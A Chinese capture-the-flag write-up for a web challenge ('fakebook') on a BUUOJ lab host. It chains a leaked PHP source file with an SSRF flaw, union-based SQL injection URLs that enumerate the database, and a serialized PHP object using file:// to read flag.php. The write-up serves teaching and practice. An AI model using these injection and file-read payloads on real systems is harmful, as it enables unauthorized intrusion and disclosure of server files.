扫描网站目录发现了robots.txt
,找到/user.php.bak
得到网站的源代码
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
上述代码中,没有对curl函数进行过滤,所以存在ssrf漏洞,因此我们可以利用file协议来读取本地文件。
这里补充一下ssrf漏洞的讲解,ssrf漏洞。
但是因为方法函数 isValidBlog(),对http处做了限制,导致我们不可以直接在注册处的blog进行读取。因此,我们需要另想别的办法。
接下来注册一个账号,最终找到一处注入点
http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=1
进行注入
http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata#
http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema=%27fakebook%27#
http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name=%27users%27#
http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,group_concat(data),3,4++from++users#
到了这里我们就清楚了,我们注册时,输入的信息序列化之后送入到数据库。
待我们需要查看信息时,再将数据库的数据反序列化呈现在页面上。
因此,我们可以将file协议序列化。
<?php class UserInfo { public $name = "admin"; public $age = 123; public $blog = "file:///var/www/html/flag.php"; } $data = new UserInfo(); echo serialize($data); ?>
序列化之后得到代码:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
我们利用payload:
http://0c901d47-431e-43db-b5de-b0a85b8f6c45.node3.buuoj.cn/view.php?no=-1++union++select++1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27#
得到:
右键查看源代码,便可找到flag。
写到这里,师傅们有看不懂的地方可以私信我。